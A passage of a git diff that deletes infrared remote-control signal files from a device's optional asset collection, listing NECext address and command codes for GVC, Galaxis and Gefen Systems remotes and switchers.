-address: 0E 00 00 00 -command: 35 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 36 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 37 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 38 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 39 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 40 00 00 00 -# -name: otr_start -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 44 00 00 00 -# -name: otr_length -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 45 00 00 00 -# -name: speed -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 46 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 47 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: D1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir deleted file mode 100644 index 1e598d635..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 84 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 85 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 88 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 8D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 8E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 92 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 93 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 94 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 95 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Satellite/13,80.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Satellite/13,80.ir deleted file mode 100644 index f4e80c21f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Satellite/13,80.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 03 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 09 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 0D 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 11 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 20 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 21 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 3C 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 3F 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 45 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 4E 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 50 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 58 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 59 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 5A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 5B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 5C 00 00 00 -# -name: ALT -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 61 00 00 00 -# -name: ROT -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 6D 00 00 00 -# -name: GRUN -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 6E 00 00 00 -# -name: GELB -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 6F 00 00 00 -# -name: BLAU -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 70 00 00 00 -# -name: NAVIGATOR -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 78 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: CC 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir deleted file mode 100644 index 39b4a4cf9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: -.- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: txt? -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: smile -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: txtzoom -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: arrows -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: txtonoff -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: txthalf -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: / -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir deleted file mode 100644 index 229dba781..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 09 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 21 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 3F 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 45 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 4B 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 4E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 50 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 55 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 5C 00 00 00 -# -name: ALT -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 61 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 6D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 6E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 6F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 70 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 78 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: 79 00 00 00 -# -name: UP_RIGHT -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: C4 00 00 00 -# -name: LEFT_UP -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: C5 00 00 00 -# -name: DOWN_RIGHT -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: C6 00 00 00 -# -name: LEFT_DOWN -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: C7 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: CC 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 0D 50 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir deleted file mode 100644 index ad67ea50f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_QUIT -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 15 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 1D 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir deleted file mode 100644 index 5287da7c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: txt_100 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: set_down -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: txt_Stop -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: txt_Question -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: txt_Clock -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: txt_T.P. -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: txt_Nor. -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: txt_Magnify -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: txt_Presets -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: txt_Mix -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: Stereo -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: P/C -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: KEY_M -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: Reset -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 26 00 00 00 -# -name: A/V -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: Mon/TV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: spk_off -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2F 00 00 00 -# -name: color_plus -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: color_minus -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 31 00 00 00 -# -name: bright_plus -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: bright_minus -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 35 00 00 00 -# -name: contrast_plus -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 38 00 00 00 -# -name: contrast_minus -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 39 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 -# -name: TV/TLV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir deleted file mode 100644 index e1843318e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 40 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 41 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 42 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 43 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir deleted file mode 100644 index e8cf32554..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PORT1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 40 00 00 00 -# -name: PORT1_TOGGLE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 40 00 00 00 -# -name: PORT2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 41 00 00 00 -# -name: PORT2_TOGGLE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 41 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 43 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 44 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 45 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 45 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 47 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 49 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 72 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir deleted file mode 100644 index 3579c6b86..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OUT1-IN1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 40 00 00 00 -# -name: SOURCE1_INPUT1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 40 00 00 00 -# -name: OUT1-IN2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 41 00 00 00 -# -name: SOURCE1_INPUT2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 41 00 00 00 -# -name: OUT1-IN3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 42 00 00 00 -# -name: SOURCE1_INPUT3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 42 00 00 00 -# -name: OUT1-IN4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 43 00 00 00 -# -name: SOURCE1_INPUT4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 43 00 00 00 -# -name: OUT2-IN1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 44 00 00 00 -# -name: SOURCE2_INPUT1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 44 00 00 00 -# -name: OUT2-IN2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 45 00 00 00 -# -name: SOURCE2_INPUT2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 45 00 00 00 -# -name: OUT2-IN3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 46 00 00 00 -# -name: SOURCE2_INPUT3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 46 00 00 00 -# -name: OUT2-IN4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 47 00 00 00 -# -name: SOURCE2_INPUT4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 47 00 00 00 -# -name: OUT3-IN1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 48 00 00 00 -# -name: SOURCE3_INPUT1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 48 00 00 00 -# -name: OUT3-IN2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 49 00 00 00 -# -name: SOURCE3_INPUT2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 49 00 00 00 -# -name: OUT3-IN3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 72 00 00 00 -# -name: SOURCE3_INPUT3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 72 00 00 00 -# -name: OUT3-IN4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 73 00 00 00 -# -name: SOURCE3_INPUT4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 73 00 00 00 -# -name: OUT4-IN1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 74 00 00 00 -# -name: SOURCE4_INPUT1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 74 00 00 00 -# -name: OUT4-IN2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 75 00 00 00 -# -name: SOURCE4_INPUT2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 75 00 00 00 -# -name: OUT4-IN3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 76 00 00 00 -# -name: SOURCE4_INPUT3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 76 00 00 00 -# -name: OUT4-IN4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 77 00 00 00 -# -name: SOURCE4_INPUT4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 77 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir deleted file mode 100644 index 9d37fa380..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir +++ /dev/null @@ -1,374 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: A -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 01 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 04 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 05 00 00 00 -# -name: ESC -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 05 00 00 00 -# -name: F -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 06 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 06 00 00 00 -# -name: G -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 07 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 07 00 00 00 -# -name: H -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: 3 -type: 